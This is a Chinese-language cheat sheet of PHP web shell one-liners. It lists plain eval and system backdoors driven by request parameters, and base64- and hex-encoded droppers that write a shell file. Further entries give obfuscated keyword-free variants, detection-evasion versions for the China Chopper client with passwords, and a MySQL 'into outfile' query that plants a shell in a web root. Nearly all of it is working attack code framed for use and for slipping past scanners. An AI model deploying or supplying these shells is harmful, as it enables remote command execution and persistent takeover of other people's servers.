基礎類
很容易被掃描、檢測出來
<?php @eval($_GET['phpcode']);?>
<?php @eval($_POST['phpcode']);?>
<?php @system($_GET['cmd']);?>
<?php @system($_POST['cmd']);?>
<?php @exec($_POST['cmd']);?>
<?php @passthru($_POST['cmd']);?>
<?php @shell_exec($_POST['cmd']);?>
<?php $cmd=$_POST['cmd']);`$cmd`;?>
@ + function表示忽略警告，
eval() 是可以執行php代碼
system() 是可以執行系統命令
編碼替換
<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>
//會生成<?php @eval($_POST['lostwolf']);?>
<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>
//php在html內部的一種嵌入方式
<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>
無關鍵字函式型別
<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
http://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass
<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>
躲避檢測記錄
<?php $_GET[a]($_GET[b]);?>
//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
<?php assert($_REQUEST["c"]);?> //菜刀連接 躲避檢測 密碼c
<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['c']);？>
//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 腳本型別:php 密碼為 c
MySQL寫入一句話
select "<?php @system($_POST["cmd"]);?>" into outfile "/home/webaccount/projectname/www/*.php"
#前面是一句話內容 后面是絕對路徑www下的PHP檔案，同理其他腳本也可以
